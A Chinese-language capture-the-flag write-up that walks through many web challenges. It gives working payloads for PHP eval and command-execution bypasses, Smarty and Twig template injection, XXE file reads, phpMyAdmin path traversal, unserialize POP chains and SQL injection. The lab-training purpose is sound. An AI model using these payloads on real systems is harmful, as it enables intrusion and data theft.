<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"         version="4.0">    <welcome-file-list>        <welcome-file>Index</welcome-file>    </welcome-file-list>    <servlet>        <servlet-name>IndexController</servlet-name>        <servlet-class>com.wm.ctf.IndexController</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>IndexController</servlet-name>        <url-pattern>/Index</url-pattern>    </servlet-mapping>    <servlet>        <servlet-name>LoginController</servlet-name>        <servlet-class>com.wm.ctf.LoginController</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>LoginController</servlet-name>        <url-pattern>/Login</url-pattern>    </servlet-mapping>    <servlet>        <servlet-name>DownloadController</servlet-name>        <servlet-class>com.wm.ctf.DownloadController</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>DownloadController</servlet-name>        <url-pattern>/Download</url-pattern>    </servlet-mapping>    <servlet>        <servlet-name>FlagController</servlet-name>        <servlet-class>com.wm.ctf.FlagController</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>FlagController</servlet-name>        <url-pattern>/Flag</url-pattern>    </servlet-mapping></web-app>

得到了一个Flag的路径

1
WEB-INF主要包含一下文件或目录:/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。/WEB-INF/database.properties:数据库配置文件漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

下载FlagController.class文件

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

image-20211027162429704

右键打开可以看到一串base64编码,解码即可

image-20211027162458484

[GXYCTF2019]禁止套娃

这题看了半天,后面发现是git泄露

1
python  githack http://679acb3d-9a0b-447d-9606-ab17d7121568.node4.buuoj.cn/.git/
1
<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {                // echo $_GET['exp'];                @eval($_GET['exp']);            }            else{                die("还差一点哦!");            }        }        else{            die("再好好想想!");        }    }    else{        die("还想读flag,臭弟弟!");    }}// highlight_file(__FILE__);?>

无参RCE这题就是,首先先确定flag.php是不是在当前目录下我们可以使用如下payload

1
/index.php?exp=print_r(scandir(current(localeconv())));

localeconv()函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点

image-20211027165608484

current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了

image-20211027165625515

用这个函数构造

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

读取成功,或者

1
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

array_reverse ( array $array [, bool $preserve_keys = FALSE ] ) : array array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。 array_flip() 交换数组的键和值 array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

原理就是用scandir把目录读出来存到数组里,调节指针使指针指向flag.php

[BJDCTF2020]The mystery of ip

flag.php页面提示了我的ip是xxxxx,hint页面提示了问我他怎么知道我的ip,应该和XFF头有关吧

后面发现是Smarty模板注入

直接添加XFF头进行RCE

1
X-Forwarded-For: {system("cat ../../../../flag")}

image-20211027183149279

[GWCTF 2019]我有一个数据库

看到这名字,盲猜phpmyadmin,并且还不需要账号密码就能登录进去,版本号是4.8.1,存在CVE-2018-12613

直接拿payload打吧

1
?target=db_datadict.php%253f/../../../../../../../../flag

image-20211027183645326

[强网杯 2019]高明的黑客

提示网站源码备份到了www.tar.gz,下载下来看看

[BJDCTF2020]Mark loves cat

这题考的是git泄露+变量覆盖漏洞,直接先获取他的源码

1
python githack.py http://5aaea10a-d682-4e77-8e50-6bc19de04be6.node4.buuoj.cn:81/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

主要的源码如上,在这我直接放出思路吧,我们不一定要让他输出$flag,因为这里有变量覆盖漏洞,通过exit函数也可以直接获得到flag,前提就是把$flag中的flag覆盖到其他变量中去

我们可以先看看第一个exit所处的foreach语句

get获取参数,并且键和传入进去的变量名不能一样,这里肯定不可能,直接排除

第二个exit也没什么好看的,因为只是判断了一下是否get和post中至少传入一个参数

直接看第三个,他exit($is),我们让这里$is里的内容被flag赋过值以后,并且要get或者post一个flag=flag即可

所以原本应该是有一个$is=$flag的过程,但是这里经过变量覆盖以后才会这样赋值

所以覆盖前应该是$$x=$$y,这里的$x=is,$y=flag,所以我们应该get请求一个is=flag&flag=flag

payload:

1
?is=flag&flag=flag

image-20211027192232549

[网鼎杯 2020 朱雀组]phpweb

啥也没有,抓个包看看

image-20211027212113185

一个date然后一个时间的格式,这里盲猜是一个函数加一个参数,直接system ls试试看,提示hackerimage-20211027212217110

应该是有过滤,读一下index.php文件看看,file_get_contents index.php

image-20211027212519838

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

果然禁用了system,看到有个类,想到利用反序列化,因为他那个过滤只对我们输入的post的func进行了检查,在Test类里并没有检查,所以更改Test类中的参数即可将我们的system函数传入

exp:

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

找到flag的位置,查看即可

image-20211027212912721

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

image-20211027213018988

[安洵杯 2019]easy_web

拿到网站,发现他url很可以

1
index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

把这个img拿去base64解码看看,需要解两次base64一次16进制,结果是555.png

我们反向把index.php加密传进去看看源码,得到源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

需要进行md5强比较并且绕过正则,md5强比较如下

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

绕过正则匹配有两种方法,一种是使用sort命令,还有一种解释反斜杠绕过,ca\t 后面的\t会成为 TAB 而绕过

1
cmd=ca\t%20/flag   这里好像必须是%20

image-20211028132641833

【PHP】之4个反斜杠、3个反斜杠的情况

https://blog.csdn.net/weixin_41463193/article/details/83539168

也就是说

1
2
3
4
5
6
echo "\\"   输出结果是\
echo "\\\\" 输出结果是\\
但是在preg_match()中
preg_match(‘/\\/’,$content) 会报错,php会先把\\解释成\然后就变成了'/\/''
因为preg_match中的第一个参数需要有一对任何非字母、数字、“\”或空格的字符作为分隔符,也就是我们最常用的“/”
preg_match('/\\\\/',$content) 结果为1

[BSidesCF 2020]Had a bad day

打开页面发现就两个按钮,点击的时候url中的category会变,盲猜sql注入或者文件包含

测试了一下,应该是文件包含,直接php伪协议读源码,这里如果第一次读index.php会发现他自动拼接了一个.php

1
index.php?category=php://filter/read=convert.base64-encode/resource=index

image-20211028133217510

源码读出来,给如如下核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

大概意思就是category中必须有woofers或者meowers或者index,我们直接构造payload

image-20211028133556817

[NCTF2019]Fake XML cookbook

看题目,感觉是XXE啊,随便登陆抓个包看看,应该没错了

image-20211028134712348

直接上payload打吧

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>

image-20211028134851044

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload解释:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:<!ENTITY 实体名称 "实体内容">,引用一般实体的方法:&实体名称;

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

因为将file:///flag命名为admin,所以下面用&admin。

PHP引用外部实体,常见的利用协议:

file://文件绝对路径 如:file:///etc/passwd

http://url/file.txt

php://filter/read=convert.base64-encode/resource=xxx.php

[BJDCTF2020]Cookie is so stable

提示cookie,额,也没啥思路,直接看wp。

唉,又是SSTI,做不来,是SSTI里的Twig攻击,判断是哪种模板注入看上图,直接给payload吧,我也不会

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20211028135657580

image-20211028135518319

[ASIS 2019]Unicorn shop

额,开始没看懂啥意思,翻译了一下是独角兽商店,还是没懂,还尝试了半天sql注入,只感觉和unicode有关系,百度了一下才发现考点是unicode编码的安全

这里买1,2,3都是会提示错误的商品,只能买4,然后要花多少钱买,只能填入一个字符。。。直接给出payload吧

1
id=4&price=%E2%86%81

主要就是找unicode里大于1337的字符

https://www.compart.com/en/unicode/U+2181

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

提示phpinfo()有东西,可以先看看phpinfo(),传入f=phpinfo,发现如下,每个文件自动包含了 d0g3_f1ag.php,直接访问没东西

image-20211028142412500

根据题目我们知道,题目是先序列化$_SESSION,然后再经过一个过滤函数,然后再反序列化,这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题~~

逃逸实现

我们这里首先需要

get传参:?f=show_image

post调用extract函数实现变量覆盖,例如post传参

1
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:”1”; 这几个字符呢?

如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

1
2
3
4
5
6
7
8
9
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
所以就是
$_SESSION['";s:48:']=1
$_SESSION['img']="ZDBnM19mMWFnLnBocA=="

经过filter过滤后phpflag就会被替换成空,

s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被当成孤儿放弃了。

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

额直接上源代码,Python的flask框架的题,先看他路由,一共三个路由

index是直接展示源代码,geneSign首先获取了param的值,把action赋为scan,返回getSign(action,param),getSign(action,param),返回md5(secert_key+param+action)的值,然后再看De1ta,get接受了param,cookie里接收了action和sign,然后通过了一个waf函数,判断传入的参数是否有gopher和file,如果没有就执行Task对象里的Exec方法,跟进Task中的Exec()方法,可以发现这里面还有个checkSign(),并且在这里面调用了getSign()方法,结果与sign进行比较,但是这里还有个secert_key未知,然后会进行一个result.txt,然后2个if,判断scan或read 是否在action内,在则,前者是把param对应文件的内容写入result.txt,后者是把result.txt取出来并返还给我们,也就是说,这2个if我们都需要调用,这样就能获取到flag,而scan和read的判断是包含,所以我们的action就可以是readscan,或者scanread,那sign怎么获取呢?

这里我们思路就来了,我们最终应该是要读取flag.txt 里的内容,接受要从flag.txt里的内容给到result.txt,然后读取result.txt,所以我们的action必须同时包含read和scan,也就是说我们的action=readscan,param是我们的flag.txt,然后这里要getSign()的结果和sign一样,也就是说md5(secert_key + param + action)==我们传入的sign,这里param是flag.txt,action是readscan,缺少一个secert_key,但是param没有对我们的输入进行过滤和限制,在/geneSign这个路由下他就会返回一个md5(secert_key+param+action),只是我们之前的md5加密前是secert_keyflag.txtscan,传入的是secert_keyflag.txtreadscan,所以我们这里直接先访问/geneSign页面,传入param=flag.txtread

image-20211031163805403

这样我们就能够得到md5(secert_key+flag.txtreadscan)的md5值,然后在cookie里传入 sign=d979658286b2f90fe8d007d833ddfa19

action=readscan get传入param=flag.txt即可

image-20211031163942005

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

源码入下,传入一个参数c,长度不超过80,同时存在黑名单,过滤空格,[,]单引号等

白名单里是一些函数,他把我们输入的存放到了used_funcs这个数组里,规定我们只能使用白名单里的函数

来提一个概念:php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);

1
2
$a='system';
$a('ls');
1
2
3
4
5
6
7
scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

80个字符比较少,想办法构造$_GET[1]再传参getflag,但是其实发现构造这个好像更难。。。因为$_[]都不能用,同时GET必须是大写,很难直接构造。
一种payload是这样

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import flask//flask模板
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')//一个名为FLAG的config,这里基本可以确定是flag。
@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')//这里设置了shrine路由,这里可能会实现ssti

def shrine(shrine):

    def safe_jinja(s)://jinja模板

        s = s.replace('(', '').replace(')', '')

        blacklist = ['config', 'self']//设置黑名单

        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单的东西遍历并设为空

    return flask.render_template_string(safe_jinja(shrine))//进行模块渲染

if __name__ == '__main__':

    app.run(debug=True)

大概就是在shrine目录下利用SSTI漏洞,但是过滤了括号和config,所以需要进行绕过,验证SSTI存在

image-20211102114931193

如果没有把config设置为黑名单,我们可以传入/shrine/,他这里进行了过滤

python还有一些内置函数,比如url_for和get_flashed_messages

1
/shrine/{{url_for.__globals__}}

image-20211102115103018

current_app是当前的app,那我们就直接用当前app下的config

1
/shrine/{{url_for.__globals__['current_app'].config}}

image-20211102115222709

[SWPU2019]Web1

考查无列名注入,先注册一个账号以后进去发布广告,输入1’发现报错可能存在sql注入

image-20211102120642022

空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入,无法使用information_schema库,可以使用无列名注入
构造

1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

手动探测列数,这里探测到有22列,回显位为2和3,直接查表

1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

设第二列别名为b

1
构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

设第三列别名为b

1
构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20211102124210089

无列名注入

1
2
select 1,2,3 union select * from user;  正常情况下
select `3` from (select 1,2,3 union select * from user)a; 上面的3代替了列名,所以这里就可以进行无列名注入

https://zhuanlan.zhihu.com/p/98206699

[MRCTF2020]PYWebsite

F12查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

跳转到flag.php,直接访问

image-20211112144436238

提示自己可以看到flag,抓包修改XFF头即可获得flag

image-20211112144504030

[MRCTF2020]PYWebsite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

定义了一个路由/getUrl,我们需要提交一个url,用来读取服务器端任意文件

[MRCTF2020]Ezpop

pop链构造+php伪协议读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

额,找链子也太简单了,直接上exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; //var=flag.php
}

class Show{
public $source; //source的值为Show类的一个对象
public $str; //str的值为Test类的一个对象
}

class Test{
public $p;
}

$s=new Show();
$t=new Test();
$m=new Modifier();
$s->source=$s;
$s->str=$t;
$t->p=$m;

echo urlencode(serialize($s));

[0CTF 2016]piapiapia

这题真的是太难了,代码审计还是太烂了,www.zip先下载源码然后进行审计

首先看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>

大概就是判断了一下session中有无username,如果检测到有,说明以登陆,跳转到profile.php,如果无,post传入username和passowrd进行登陆

接着看config.php,里面有flag,但是没有内容,猜测是去读config.php文件

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
